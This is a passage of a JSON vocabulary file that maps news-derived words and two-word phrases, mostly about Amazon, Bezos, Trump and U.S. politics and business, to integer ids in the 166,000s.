\"cortez voracious\": 166222,\n  \"brink\": 166223,\n  \"compliance issue\": 166224,\n  \"nearly sinks\": 166225,\n  \"television review\": 166226,\n  \"age dilemmas\": 166227,\n  \"nomination wrote\": 166228,\n  \"perceived racists\": 166229,\n  \"stormy days\": 166230,\n  \"learning market\": 166231,\n  \"administrators\": 166232,\n  \"sachs chief\": 166233,\n  \"effectively ends\": 166234,\n  \"based publisher\": 166235,\n  \"illicit gains\": 166236,\n  \"menzel joined\": 166237,\n  \"brexit agreement\": 166238,\n  \"furnishings want\": 166239,\n  \"reported decline\": 166240,\n  \"military operations\": 166241,\n  \"bramer amazon\": 166242,\n  \"condemn workers\": 166243,\n  \"good buy\": 166244,\n  \"guilty plea\": 166245,\n  \"instigation\": 166246,\n  \"difficult especially\": 166247,\n  \"usable\": 166248,\n  \"mi5\": 166249,\n  \"cortez thinks\": 166250,\n  \"singer chicha\": 166251,\n  \"course yes\": 166252,\n  \"circulated amazon\": 166253,\n  \"statistics firm\": 166254,\n  \"publicly riffed\": 166255,\n  \"shows bezos\": 166256,\n  \"camera feature\": 166257,\n  \"deliver nearly\": 166258,\n  \"statement claiming\": 166259,\n  \"someones\": 166260,\n  \"munro leighton\": 166261,\n  \"launch contracts\": 166262,\n  \"saving strategy\": 166263,\n  \"500 stock\": 166264,\n  \"manipulating search\": 166265,\n  \"fulfilling life\": 166266,\n  \"adversarial usually\": 166267,\n  \"amazon regulator\": 166268,\n  \"told electrical\": 166269,\n  \"woeful\": 166270,\n  \"gms\": 166271,\n  \"chicago cop\": 166272,\n  \"interests bezos\": 166273,\n  \"twitter comments\": 166274,\n  \"largest competitors\": 166275,\n  \"nonfiction simon\": 166276,\n  \"suggests prudent\": 166277,\n  \"icann survive\": 166278,\n  \"date facebook\": 166279,\n  \"corporations organizations\": 166280,\n  \"cucumbers\": 166281,\n  \"multiple marketplaces\": 166282,\n  \"andr\\u00e9s\": 166283,\n  \"waived local\": 166284,\n  \"steep ascent\": 166285,\n  \"227180\": 166286,\n  \"democrats hate\": 166287,\n  \"analogy won\": 166288,\n  \"bigger bank\": 166289,\n  \"street profit\": 166290,\n  \"colm\": 166291,\n  \"leaders jonathan\": 166292,\n  \"film challenges\": 166293,\n  \"democratic state\": 166294,\n  \"threaded\": 166295,\n  \"shameful\": 166296,\n  \"weekly win\": 166297,\n  \"winery\": 166298,\n  \"timeless truth\": 166299,\n  \"chefs\": 166300,\n  \"body snatchers\": 166301,\n  \"medium cheekily\": 166302,\n  \"boss repeated\": 166303,\n  \"early 2017\": 166304,\n  \"new nextday\": 166305,\n  \"sleeper\": 166306,\n  \"animation created\": 166307,\n  \"leading contributor\": 166308,\n  \"proof stocks\": 166309,\n  \"maker iti\": 166310,\n  \"series castlevania\": 166311,\n  \"retail experience\": 166312,\n  \"customers according\": 166313,\n  \"doherty\": 166314,\n  \"indirectly\": 166315,\n  \"combo\": 166316,\n  \"fbi rightfulauthority\": 166317,\n  \"bring headlineposttext\": 166318,\n  \"controversy involving\": 166319,\n  \"siraj\": 166320,\n  \"elevens\": 166321,\n  \"cartoon jerusalem\": 166322,\n  \"solutions trump\": 166323,\n  \"owned publication\": 166324,\n  \"trump thing\": 166325,\n  \"reports began\": 166326,\n  \"left shark\": 166327,\n  \"city run\": 166328,\n  \"unfair\": 166329,\n  \"tweet mocking\": 166330,\n  \"published ads\": 166331,\n  \"tweet followed\": 166332,\n  \"director simon\": 166333,\n  \"participates\": 166334,\n  \"denied job\": 166335,\n  \"mind realdonaldtrump\": 166336,\n  \"tux\\u00e1 coordinator\": 166337,\n  \"city deal\": 166338,\n  \"resides\": 166339,\n  \"accomplishing close\": 166340,\n  \"amazon fy19\": 166341,\n  \"summer slides\": 166342,\n  \"beneath state\": 166343,\n  \"provide great\": 166344,\n  \"sanchez talent\": 166345,\n  \"delivery programs\": 166346,\n  \"sporting masks\": 166347,\n  \"developing market\": 166348,\n  \"bad remember\": 166349,\n  \"trump counts\": 166350,\n  \"hulu impeachobama\": 166351,\n  \"necessary gigantic\": 166352,\n  \"services project\": 166353,\n  \"neighbor\": 166354,\n  \"wealthiest person\": 166355,\n  \"threatens security\": 166356,\n  \"t6grrlczs8\": 166357,\n  \"good looking\": 166358,\n  \"defend working\": 166359,\n  \"having jurisdiction\": 166360,\n  \"ads north\": 166361,\n  \"newspapers received\": 166362,\n  \"dollar plus\": 166363,\n  \"gormley\": 166364,\n  \"grand hardware\": 166365,\n  \"retailers courtesy\": 166366,\n  \"pndlkq12cr mijente\": 166367,\n  \"unlikely pair\": 166368,\n  \"twitter michael\": 166369,\n  \"represented bright\": 166370,\n  \"network ordered\": 166371,\n  \"claims stu\": 166372,\n  \"selfish\": 166373,\n  \"najarian thank\": 166374,\n  \"woul\": 166375,\n  \"tom hanks\": 166376,\n  \"wspd1pio\": 166377,\n  \"mid 1960s\": 166378,\n  \"staff information\": 166379,\n  \"designate aig\": 166380,\n  \"weekend cavuto\": 166381,\n  \"provider faces\": 166382,\n  \"housing starts\": 166383,\n  \"screenshot shows\": 166384,\n  \"apparel mugs\": 166385,\n  \"tragic attack\": 166386,\n  \"pay absolutely\": 166387,\n  \"equipped serial\": 166388,\n  \"incite kevin\": 166389,\n  \"duly elected\": 166390,\n  \"appointee ricardo\": 166391,\n  \"authortwitter billmurphyjr\": 166392,\n  \"question private\": 166393,\n  \"insider adding\": 166394,\n  \"fascism lutes\": 166395,\n  \"jobless rate\": 166396,\n  \"perusal\": 166397,\n  \"compromised unplug\": 166398,\n  \"capital city\": 166399,\n  \"seen cache\": 166400,\n  \"ami representative\": 166401,\n  \"virginia person\": 166402,\n  \"massachusetts amazon\": 166403,\n  \"issue earlier\": 166404,\n  \"uk market\": 166405,\n  \"response\": 166406,\n  \"ground operations\": 166407,\n  \"hour want\": 166408,\n  \"min\": 166409,\n  \"rejected involvement\": 166410,\n  \"researchers bought\": 166411,\n  \"walmart takes\": 166412,\n  \"tell media\": 166413,\n  \"rate program\": 166414,\n  \"conference rooms\": 166415,\n  \"intensive\": 166416,\n  \"starkly different\": 166417,\n  \"federal online\": 166418,\n  \"amazon empire\": 166419,\n  \"active open\": 166420,\n  \"government reports\": 166421,\n  \"field research\": 166422,\n  \"spelling errors\": 166423,\n  \"watch tonight\": 166424,\n  \"company vast\": 166425,\n  \"ops aviation\": 166426,\n  \"suborbital flight\": 166427,\n  \"barring\": 166428,\n  \"finally pulling\": 166429,\n  \"change change\": 166430,\n  \"southwest received\": 166431,\n  \"chuck received\": 166432,\n  \"settlement mackenzie\": 166433,\n  \"commenters\": 166434,\n  \"current cost\": 166435,\n  \"considerable fanfare\": 166436,\n  \"confusion surrounding\": 166437,\n  \"average bad\": 166438,\n  \"statement sharing\": 166439,\n  \"remembers\": 166440,\n  \"received similar\": 166441,\n  \"squeebles\": 166442,\n  \"themi\": 166443,\n  \"shannon mead\": 166444,\n  \"fair wages\": 166445,\n  \"composite gained\": 166446,\n  \"extraordinary powers\": 166447,\n  \"party sellers\": 166448,\n  \"overbilling federal\": 166449,\n  \"articlebundleid server719403\": 166450,\n  \"global activism\": 166451,\n  \"simply vote\": 166452,\n  \"constance\": 166453,\n  \"gmt chinese\": 166454,\n  \"powers won\": 166455,\n  \"sized tailers\": 166456,\n  \"deeply entwined\": 166457,\n  \"game myst\": 166458,\n  \"exhibition early\": 166459,\n  \"enabled case\": 166460,\n  \"operations advised\": 166461,\n  \"trailer embedded\": 166462,\n  \"prompting locals\": 166463,\n  \"promised investment\": 166464,\n  \"jan saying\": 166465,\n  \"adoration new\": 166466,\n  \"billy easley\": 166467,\n  \"forgiving federal\": 166468,\n  \"shockingly direct\": 166469,\n  \"late washington\": 166470,\n  \"preeminent scholar\": 166471,\n  \"widely seen\": 166472,\n  \"shocks\": 166473,\n  \"investment announcement\": 166474,\n  \"taub ejtaub\": 166475,\n  \"reconsider stop\": 166476,\n  \"puffing hasn\": 166477,\n  \"america plays\": 166478,\n  \"t0 function\": 166479,\n  \"optic\": 166480,\n  \"allegedly poor\": 166481,\n  \"expected return\": 166482,\n  \"government operatives\": 166483,\n  \"gaap income\": 166484,\n  \"trumpet\": 166485,\n  \"guillen\": 166486,\n  \"daily adding\": 166487,\n  \"called advanced\": 166488,\n  \"friend brigitte\": 166489,\n  \"similar political\": 166490,\n  \"clothes furniture\": 166491,\n  \"carry packages\": 166492,\n  \"violating unexplained\": 166493,\n  \"admitted doing\": 166494,\n  \"byrne new\": 166495,\n  \"actually trillion\": 166496,\n  \"enquirer scoops\": 166497,\n  \"network globally\": 166498,\n  \"connell\": 166499,\n  \"help book\": 166500,\n  \"citing national\": 166501,\n  \"leaders discusses\": 166502,\n  \"jinping agreed\": 166503,\n  \"satz\": 166504,\n  \"stunning election\": 166505,\n  \"boot maxboot\": 166506,\n  \"period according\": 166507,\n  \"purveyor\": 166508,\n  \"happen memphis\": 166509,\n  \"reuters mexico\": 166510,\n  \"avoided interaction\": 166511,\n  \"largest spender\": 166512,\n  \"enquirer reaching\": 166513,\n  \"loophole mike\": 166514,\n  \"bezos yesterday\": 166515,\n  \"essentially giving\": 166516,\n  \"flushing\": 166517,\n  \"broward county\": 166518,\n  \"online according\": 166519,\n  \"seeking legal\": 166520,\n  \"affirmative\": 166521,\n  \"world watches\": 166522,\n  \"antitrust decisions\": 166523,\n  \"disarmament unless\": 166524,\n  \"sweeping probe\": 166525,\n  \"cohen illegal\": 166526,\n  \"facebook youtube\": 166527,\n  \"vincent devito\": 166528,\n  \"longstanding dating\": 166529,\n  \"clark gannett\": 166530,\n  \"tech universe\": 166531,\n  \"celebrates amazon\": 166532,\n  \"mule rapists\": 166533,\n  \"faced flurry\": 166534,\n  \"decade finance\": 166535,\n  \"james don\": 166536,\n  \"losing millions\": 166537,\n  \"company avoid\": 166538,\n  \"strong peek\": 166539,\n  \"free expression\": 166540,\n  \"soars ivanka\": 166541,\n  \"fight losing\": 166542,\n  \"veg\": 166543,\n  \"british parliament\": 166544,\n  \"lengthy\": 166545,\n  \"look smart\": 166546,\n  \"protection coverage\": 166547,\n  \"public privacy\": 166548,\n  \"trump aint\": 166549,\n  \"china stifel\": 166550,\n  \"seen interview\": 166551,\n  \"cooper 360\": 166552,\n  \"tabloid journalism\": 166553,\n  \"personalizing treatments\": 166554,\n  \"brantley defense\": 166555,\n  \"decade lows\": 166556,\n  \"fort worth\": 166557,\n  \"stance 2019\": 166558,\n  \"issued public\": 166559,\n  \"view ownership\": 166560,\n  \"support means\": 166561,\n  \"hand george\": 166562,\n  \"var videocollectionid\": 166563,\n  \"mem\": 166564,\n  \"news newsletter\": 166565,\n  \"digital cash\": 166566,\n  \"looking sternly\": 166567,\n  \"celebutard\": 166568,\n  \"ellison minn\": 166569,\n  \"trump believed\": 166570,\n  \"h5 t5\": 166571,\n  \"725\": 166572,\n  \"aisle democrats\": 166573,\n  \"m2x y8\": 166574,\n  \"albeit separately\": 166575,\n  \"kawas\": 166576,\n  \"implicit message\": 166577,\n  \"india cci\": 166578,\n  \"getty_72664757_387844\": 166579,\n  \"uphold\": 166580,\n  \"crony little\": 166581,\n  \"000 sq\": 166582,\n  \"geoffrey\": 166583,\n  \"media__icon\": 166584,\n  \"hitless mark\": 166585,\n  \"party nominee\": 166586,\n  \"demanding schedules\": 166587,\n  \"richmond hill\": 166588,\n  \"limit\": 166589,\n  \"goldstone\": 166590,\n  \"morgan going\": 166591,\n  \"gonz\\u00e1lez told\": 166592,\n  \"van nes\": 166593,\n  \"neel kashkari\": 166594,\n  \"russian internets\": 166595,\n  \"conservative libertarian\": 166596,\n  \"realdonaldtrump likes\": 166597,\n  \"mega mall\": 166598,\n  \"street watchdog\": 166599,\n  \"sleeping read\": 166600,\n  \"passed resolution\": 166601,\n  \"development giveaways\": 166602,\n  \"usps chairman\": 166603,\n  \"warner parent\": 166604,\n  \"faces new\": 166605,\n  \"authoritative analysis\": 166606,\n  \"real purpose\": 166607,\n  \"bestproducts\": 166608,\n  \"hd garth\": 166609,\n  \"time greer\": 166610,\n  \"dreams fans\": 166611,\n  \"incensed congressional\": 166612,\n  \"louis woo\": 166613,\n  \"middlemen called\": 166614,\n  \"make smoothies\": 166615,\n  \"xpo\": 166616,\n  \"underwear\": 166617,\n  \"global cities\": 166618,\n  \"forcing national\": 166619,\n  \"qanon clues\": 166620,\n  \"amazon attended\": 166621,\n  \"starr carter\": 166622,\n  \"campaign job\": 166623,\n  \"moser owns\": 166624,\n  \"abc trump\": 166625,\n  \"open close\": 166626,\n  \"conceal details\": 166627,\n  \"lift financial\": 166628,\n  \"gamma\": 166629,\n  \"amazon public\": 166630,\n  \"free sessions\": 166631,\n  \"lack adequate\": 166632,\n  \"tiny neighborhood\": 166633,\n  \"criticize news\": 166634,\n  \"smores bonfire\": 166635,\n  \"marginal rating\": 166636,\n  \"electric car\": 166637,\n  \"careful norah\": 166638,\n  \"utility stock\": 166639,\n  \"favorite cronyism\": 166640,\n  \"national census\": 166641,\n  \"changing really\": 166642,\n  \"banco\": 166643,\n  \"gadgets mobile\": 166644,\n  \"making people\": 166645,\n  \"human consumption\": 166646,\n  \"alibaba cloud\": 166647,\n  \"capitals talk\": 166648,\n  \"paper losses\": 166649,\n  \"understandably\": 166650,\n  \"organization cost\": 166651,\n  \"invigorating\": 166652,\n  \"runs trade\": 166653,\n  \"issuing large\": 166654,\n  \"game new\": 166655,\n  \"ones concerned\": 166656,\n  \"management allowing\": 166657,\n  \"time parker\": 166658,\n  \"trading dow\": 166659,\n  \"win mcnamee\": 166660,\n  \"highlights yes\": 166661,\n  \"california flood\": 166662,\n  \"famous photograph\": 166663,\n  \"care benefits\": 166664,\n  \"registeredin\": 166665,\n  \"carestream health\": 166666,\n  \"washingtons\": 166667,\n  \"bashing\": 166668,\n  \"longform amazon\": 166669,\n  \"weinstein denies\": 166670,\n  \"tank pointed\": 166671,\n  \"stands trial\": 166672,\n  \"mcafee crowned\": 166673,\n  \"residents touting\": 166674,\n  \"popping case\": 166675,\n  \"rough stretches\": 166676,\n  \"worked undercover\": 166677,\n  \"chief emerges\": 166678,\n  \"mockingly\": 166679,\n  \"2018 group\": 166680,\n  \"consumer packaged\": 166681,\n  \"collar immigration\": 166682,\n  \"hr pros\": 166683,\n  \"insulation\": 166684,\n  \"reaching 1833\": 166685,\n  \"price\": 166686,\n  \"compelling words\": 166687,\n  \"000 nycha\": 166688,\n  \"selby journalist\": 166689,\n  \"economic developer\": 166690,\n  \"eucalyptus\": 166691,\n  \"president assad\": 166692,\n  \"makeup concealer\": 166693,\n  \"russian agents\": 166694,\n  \"business judgment\": 166695,\n  \"comedian hasan\": 166696,\n  \"does happen\": 166697,\n  \"reckless trip\": 166698,\n  \"new stadium\": 166699,\n  \"enjoyable\": 166700,\n  \"report microsoft\": 166701,\n  \"sarlin explains\": 166702,\n  \"john karl\": 166703,\n  \"owe\": 166704,\n  \"border 2018\": 166705,\n  \"running amazon\": 166706,\n  \"jill lepore\": 166707,\n  \"measures dirty\": 166708,\n  \"elon musk\": 166709,\n  \"nad\": 166710,\n  \"150 shares\": 166711,\n  \"added think\": 166712,\n  \"drastically limited\": 166713,\n  \"millennial condition\": 166714,\n  \"forklift driver\": 166715,\n  \"stated incorrectly\": 166716,\n  \"abr\": 166717,\n  \"calls journalists\": 166718,\n  \"ceo ceo\": 166719,\n  \"badly instead\": 166720,\n  \"rural conflicts\": 166721,\n  \"mistress provided\": 166722,\n  \"local players\": 166723,\n  \"pre industrial\": 166724,\n  \"steady approach\": 166725,\n  \"different websites\": 166726,\n  \"news giant\": 166727,\n  \"cobb\": 166728,\n  \"hardly notice\": 166729,\n  \"jarrett joining\": 166730,\n  \"slumped yesterday\": 166731,\n  \"underperformed compared\": 166732,\n  \"surveil participants\": 166733,\n  \"amazon exposure\": 166734,\n  \"allegations helped\": 166735,\n  \"ecology\": 166736,\n  \"logistics providers\": 166737,\n  \"intangibles\": 166738,\n  \"era ends\": 166739,\n  \"charles birthday\": 166740,\n  \"attacked repeatedly\": 166741,\n  \"dark warnings\": 166742,\n  \"chain dive\": 166743,\n  \"p500\": 166744,\n  \"motion activated\": 166745,\n  \"pay woman\": 166746,\n  \"corporate needs\": 166747,\n  \"workers complain\": 166748,\n  \"confidentiality purposes\": 166749,\n  \"founder matt\": 166750,\n  \"company paid\": 166751,\n  \"robberies\": 166752,\n  \"alves\": 166753,\n  \"dramatically raise\": 166754,\n  \"bolton tied\": 166755,\n  \"eastern terrorist\": 166756,\n  \"optimistic bezos\": 166757,\n  \"identify unconscious\": 166758,\n  \"explosive blog\": 166759,\n  \"absorbed egoists\": 166760,\n  \"reply specifically\": 166761,\n  \"boycott threats\": 166762,\n  \"personal messages\": 166763,\n  \"relax pollution\": 166764,\n  \"studios chief\": 166765,\n  \"legitimate rationale\": 166766,\n  \"debts\": 166767,\n  \"sorting delivery\": 166768,\n  \"keeping existing\": 166769,\n  \"artemis inv\": 166770,\n  \"business capital\": 166771,\n  \"outside check\": 166772,\n  \"predatory business\": 166773,\n  \"device running\": 166774,\n  \"conference\": 166775,\n  \"force\": 166776,\n  \"tempe police\": 166777,\n  \"highlighted dina\": 166778,\n  \"significant opportunities\": 166779,\n  \"illegal crossers\": 166780,\n  \"commerzbank aktiengesellschaft\": 166781,\n  \"led model\": 166782,\n  \"fbi chief\": 166783,\n  \"228648\": 166784,\n  \"kudlow says\": 166785,\n  \"minimal progress\": 166786,\n  \"jeffrey bezos\": 166787,\n  \"2018 scheduled\": 166788,\n  \"sh new\": 166789,\n  \"doesn spell\": 166790,\n  \"democrat congressman\": 166791,\n  \"lake washington\": 166792,\n  \"twitter accusing\": 166793,\n  \"including pregnant\": 166794,\n  \"46m\": 166795,\n  \"friends know\": 166796,\n  \"jones bashes\": 166797,\n  \"stock gained\": 166798,\n  \"extreme bullishness\": 166799,\n  \"500 000\": 166800,\n  \"gerstein story\": 166801,\n  \"conservatives don\": 166802,\n  \"potentially reasons\": 166803,\n  \"nyt taliban\": 166804,\n  \"futures fight\": 166805,\n  \"speedy\": 166806,\n  \"adam amazon\": 166807,\n  \"700bn\": 166808,\n  \"2000 debacle\": 166809,\n  \"theory revolves\": 166810,\n  \"men cook\": 166811,\n  \"years signed\": 166812,\n  \"resided variously\": 166813,\n  \"amazon people\": 166814,\n  \"create checking\": 166815,\n  \"mexico trade\": 166816,\n  \"giants microsoft\": 166817,\n  \"intellectual argument\": 166818,\n  \"son alucard\": 166819,\n  \"homes maybe\": 166820,\n  \"reticent\": 166821,\n  \"trump pardoning\": 166822,\n  \"wraps gifts\": 166823,\n  \"right bret\": 166824,\n  \"silence dissenting\": 166825,\n  \"read investors\": 166826,\n  \"prosecutorial narratives\": 166827,\n  \"california sky\": 166828,\n  \"craggy\": 166829,\n  \"nonpartisan nonprofit\": 166830,\n  \"amazon lots\": 166831,\n  \"low productivity\": 166832,\n  \"allow endless\": 166833,\n  \"competition ramps\": 166834,\n  \"swelling legs\": 166835,\n  \"trump quote\": 166836,\n  \"online lenders\": 166837,\n  \"election rally\": 166838,\n  \"alona pulde\": 166839,\n  \"organization executive\": 166840,\n  \"bezos chip\": 166841,\n  \"fuming\": 166842,\n  \"600x400 getty_1126502092_387831\": 166843,\n  \"mid western\": 166844,\n  \"reported federal\": 166845,\n  \"baby gear\": 166846,\n  \"union takes\": 166847,\n  \"luck referring\": 166848,\n  \"sharing cat\": 166849,\n  \"war dead\": 166850,\n  \"presidents ago\": 166851,\n  \"latest report\": 166852,\n  \"widespread economic\": 166853,\n  \"pro shops\": 166854,\n  \"mosque shooting\": 166855,\n  \"reliable secure\": 166856,\n  \"bit forget\": 166857,\n  \"trillion business\": 166858,\n  \"store selling\": 166859,\n  \"team\": 166860,\n  \"drumpf weren\": 166861,\n  \"changes supported\": 166862,\n  \"considered buying\": 166863,\n  \"disturbingly love\": 166864,\n  \"bad policy\": 166865,\n  \"prison multiple\": 166866,\n  \"beverage firm\": 166867,\n  \"meddling scandal\": 166868,\n  \"escalates attacks\": 166869,\n  \"exploring new\": 166870,\n  \"introduce amazon\": 166871,\n  \"severe medical\": 166872,\n  \"profit known\": 166873,\n  \"offering subsidies\": 166874,\n  \"summit putin\": 166875,\n  \"irs rule\": 166876,\n  \"bezos walks\": 166877,\n  \"rock city\": 166878,\n  \"punto\": 166879,\n  \"hirscher\": 166880,\n  \"indefinitely\": 166881,\n  \"meeting jassy\": 166882,\n  \"affordable abortions\": 166883,\n  \"base fares\": 166884,\n  \"parties warned\": 166885,\n  \"laquan mcdonald\": 166886,\n  \"wrong barry\": 166887,\n  \"ownzones announces\": 166888,\n  \"funeral cbs\": 166889,\n  \"highthe general\": 166890,\n  \"vincent\": 166891,\n  \"inked\": 166892,\n  \"iconic hellblazer\": 166893,\n  \"chef\": 166894,\n  \"editors cushy\": 166895,\n  \"subsequent publication\": 166896,\n  \"induced sex\": 166897,\n  \"labor costs\": 166898,\n  \"feed join\": 166899,\n  \"recently arrived\": 166900,\n  \"initial turnout\": 166901,\n  \"rosenblatt\": 166902,\n  \"elizabeth trump\": 166903,\n  \"think corporate\": 166904,\n  \"statustext statuscolor\": 166905,\n  \"fuel taxes\": 166906,\n  \"minuscule\": 166907,\n  \"investing amazon\": 166908,\n  \"investigation jarod\": 166909,\n  \"generally posts\": 166910,\n  \"darren aronofsky\": 166911,\n  \"jobless claims\": 166912,\n  \"posterity fake\": 166913,\n  \"laguardia community\": 166914,\n  \"obtain fresh\": 166915,\n  \"lifting straps\": 166916,\n  \"project plan\": 166917,\n  \"electric\": 166918,\n  \"samantha\": 166919,\n  \"videoplayer isfirstvideoincollection\": 166920,\n  \"counterfeiting earlier\": 166921,\n  \"spectrum asset\": 166922,\n  \"cortez support\": 166923,\n  \"sexual shaming\": 166924,\n  \"kidasharira burundian\": 166925,\n  \"technology making\": 166926,\n  \"childhood years\": 166927,\n  \"build television\": 166928,\n  \"note grateful\": 166929,\n  \"hampshire state\": 166930,\n  \"right customer\": 166931,\n  \"honestly hundreds\": 166932,\n  \"owning\": 166933,\n  \"censorship facebook\": 166934,\n  \"shared stephen\": 166935,\n  \"oeuvre\": 166936,\n  \"theabstract\": 166937,\n  \"meeting 2018\": 166938,\n  \"considered commissioner\": 166939,\n  \"liability\": 166940,\n  \"defined initiative\": 166941,\n  \"urges oas\": 166942,\n  \"context\": 166943,\n  \"smartest insight\": 166944,\n  \"ice policy\": 166945,\n  \"bezos asked\": 166946,\n  \"original sequels\": 166947,\n  \"blackmailers\": 166948,\n  \"2019 reflecting\": 166949,\n  \"herera jon\": 166950,\n  \"particular placeswhere\": 166951,\n  \"sales finally\": 166952,\n  \"productions view\": 166953,\n  \"released ebay\": 166954,\n  \"believers earlier\": 166955,\n  \"imf economic\": 166956,\n  \"people think\": 166957,\n  \"incorruptible\": 166958,\n  \"dunham minding\": 166959,\n  \"looks\": 166960,\n  \"officials visited\": 166961,\n  \"inc_deck taylor\": 166962,\n  \"civility\": 166963,\n  \"formed partnership\": 166964,\n  \"killer drones\": 166965,\n  \"easily allows\": 166966,\n  \"catchers knicks\": 166967,\n  \"overreliance\": 166968,\n  \"trouble looming\": 166969,\n  \"unrestrained strongmen\": 166970,\n  \"coalition strong\": 166971,\n  \"westover\": 166972,\n  \"fascinating things\": 166973,\n  \"foods combination\": 166974,\n  \"teens believe\": 166975,\n  \"levy tax\": 166976,\n  \"using bombpopday\": 166977,\n  \"committee subpoena\": 166978,\n  \"nominee miguel\": 166979,\n  \"presidentelect mike\": 166980,\n  \"foreign liaison\": 166981,\n  \"popular developer\": 166982,\n  \"matters involving\": 166983,\n  \"political neutrality\": 166984,\n  \"flooded\": 166985,\n  \"hastened\": 166986,\n  \"bear price\": 166987,\n  \"personal safety\": 166988,\n  \"facebook account\": 166989,\n  \"whistle\": 166990,\n  \"ftc chair\": 166991,\n  \"local rezoning\": 166992,\n  \"represent teachable\": 166993,\n  \"favourite\": 166994,\n  \"zink cto\": 166995,\n  \"gives participants\": 166996,\n  \"numbers bank\": 166997,\n  \"story wasn\": 166998,\n  \"theoretical just\": 166999,\n  \"solutions available\": 167000,\n  \"practices related\": 167001,\n  \"2016 rex\": 167002,\n  \"raised amazon\": 167003,\n  \"666\": 167004,\n  \"662 activity\": 167005,\n  \"david kelly\": 167006,\n  \"cause withdrawal\": 167007,\n  \"urdupoint\": 167008,\n  \"commission psc\": 167009,\n  \"growing influence\": 167010,\n  \"guarantees key\": 167011,\n  \"old industry\": 167012,\n  \"total market\": 167013,\n  \"trump signed\": 167014,\n  \"leaders seek\": 167015,\n  \"early black\": 167016,\n  \"exposing american\": 167017,\n  \"vivek wadhwa\": 167018,\n  \"mullenix\": 167019,\n  \"favor stock\": 167020,\n  \"damodaran\": 167021,\n  \"futures slid\": 167022,\n  \"bananas\": 167023,\n  \"states seeking\": 167024,\n  \"unbecoming\": 167025,\n  \"dukakis\": 167026,\n  \"days leading\": 167027,\n  \"soccer league\": 167028,\n  \"peering\": 167029,\n  \"enable copyright\": 167030,\n  \"article write\": 167031,\n  \"sidebars\": 167032,\n  \"delivery storing\": 167033,\n  \"prison\": 167034,\n  \"prior amazon\": 167035,\n  \"brighter medium\": 167036,\n  \"article diversity\": 167037,\n  \"board structure\": 167038,\n  \"matt palumbo\": 167039,\n  \"new mercedes\": 167040,\n  \"traits\": 167041,\n  \"analysts predictions\": 167042,\n  \"confirminghe\": 167043,\n  \"taiwanese\": 167044,\n  \"offered 270\": 167045,\n  \"moms additional\": 167046,\n  \"backup parachute\": 167047,\n  \"america news\": 167048,\n  \"ongoing coverage\": 167049,\n  \"7ctwterm\": 167050,\n  \"demons words\": 167051,\n  \"miller marc\": 167052,\n  \"country run\": 167053,\n  \"regular dialogue\": 167054,\n  \"hardware implant\": 167055,\n  \"sen susan\": 167056,\n  \"deals roundup\": 167057,\n  \"middling economy\": 167058,\n  \"drones spill\": 167059,\n  \"management president\": 167060,\n  \"lord queen\": 167061,\n  \"tabloid announced\": 167062,\n  \"multiple markups\": 167063,\n  \"ways simple\": 167064,\n  \"government cuomo\": 167065,\n  \"seamlessly\": 167066,\n  \"smaller retailers\": 167067,\n  \"coalition chairman\": 167068,\n  \"fictional letter\": 167069,\n  \"neo nazi\": 167070,\n  \"trump abruptly\": 167071,\n  \"bezos weighs\": 167072,\n  \"delicious irony\": 167073,\n  \"hires couriers\": 167074,\n  \"devices family\": 167075,\n  \"guru\": 167076,\n  \"technical coordinator\": 167077,\n  \"nation gunman\": 167078,\n  \"previously deleted\": 167079,\n  \"involving ami\": 167080,\n  \"accent lifted\": 167081,\n  \"tm going\": 167082,\n  \"anymore rich\": 167083,\n  \"personal delivery\": 167084,\n  \"ad market\": 167085,\n  \"tremendous\": 167086,\n  \"trump extraordinary\": 167087,\n  \"23m reports\": 167088,\n  \"economic iron\": 167089,\n  \"hear tax\": 167090,\n  \"penguin random\": 167091,\n  \"families _______________\\u043d\\u043d______________\\u043d__\": 167092,\n  \"called divvy\": 167093,\n  \"couldn disclose\": 167094,\n  \"catz criticised\": 167095,\n  \"congressional reptiles\": 167096,\n  \"perceptive\": 167097,\n  \"stamps senator\": 167098,\n  \"filmmaker moves\": 167099,\n  \"instrument case\": 167100,\n  \"europe idiotic\": 167101,\n  \"officer cio\": 167102,\n  \"threw trump\": 167103,\n  \"sign deal\": 167104,\n  \"pomp usa\": 167105,\n  \"proposing broad\": 167106,\n  \"axios points\": 167107,\n  \"kennels\": 167108,\n  \"budget amazon\": 167109,\n  \"astonishing new\": 167110,\n  \"headquarters yahoo\": 167111,\n  \"stunning assault\": 167112,\n  \"lede\": 167113,\n  \"agribusiness expansion\": 167114,\n  \"130\": 167115,\n  \"gaap profit\": 167116,\n  \"various lobby\": 167117,\n  \"cost instead\": 167118,\n  \"source plugable\": 167119,\n  \"graciously\": 167120,\n  \"pallavi\": 167121,\n  \"integrated digital\": 167122,\n  \"cuomo signed\": 167123,\n  \"year searching\": 167124,\n  \"announced\": 167125,\n  \"feeling angry\": 167126,\n  \"business caused\": 167127,\n  \"stage election\": 167128,\n  \"relationship scottie\": 167129,\n  \"amazon regarding\": 167130,\n  \"supporters including\": 167131,\n  \"viable\": 167132,\n  \"homes plans\": 167133,\n  \"pwi4ncvazx ryan\": 167134,\n  \"city governor\": 167135,\n  \"chanting\": 167136,\n  \"lehrer tuition\": 167137,\n  \"file sexual\": 167138,\n  \"cities including\": 167139,\n  \"years ahead\": 167140,\n  \"somewhat tenuous\": 167141,\n  \"conduct stating\": 167142,\n  \"facebook avoids\": 167143,\n  \"violent meme\": 167144,\n  \"zones benefit\": 167145,\n  \"white towel\": 167146,\n  \"average rating\": 167147,\n  \"procedure\": 167148,\n  \"confronts conservative\": 167149,\n  \"wasting time\": 167150,\n  \"site montgomery\": 167151,\n  \"ex dividend\": 167152,\n  \"china growing\": 167153,\n  \"face amazon\": 167154,\n  \"digital assistant\": 167155,\n  \"zuker announces\": 167156,\n  \"pounds 115\": 167157,\n  \"suspected leaker\": 167158,\n  \"educational expenses\": 167159,\n  \"inspire multibillion\": 167160,\n  \"ride scooter\": 167161,\n  \"stock ships\": 167162,\n  \"donated 502\": 167163,\n  \"restricts\": 167164,\n  \"nbc report\": 167165,\n  \"brainstorm\": 167166,\n  \"martin lmt\": 167167,\n  \"nike decided\": 167168,\n  \"josh gerstein\": 167169,\n  \"300f\": 167170,\n  \"bezos passed\": 167171,\n  \"language accent\": 167172,\n  \"broward boulevard\": 167173,\n  \"center ej\": 167174,\n  \"dundas eas\": 167175,\n  \"amazon revenues\": 167176,\n  \"month elevation\": 167177,\n  \"lewandowski\": 167178,\n  \"pbms blaming\": 167179,\n  \"recommends redefining\": 167180,\n  \"point newsom\": 167181,\n  \"comprise toronto\": 167182,\n  \"amazon labor\": 167183,\n  \"ninja turtle\": 167184,\n  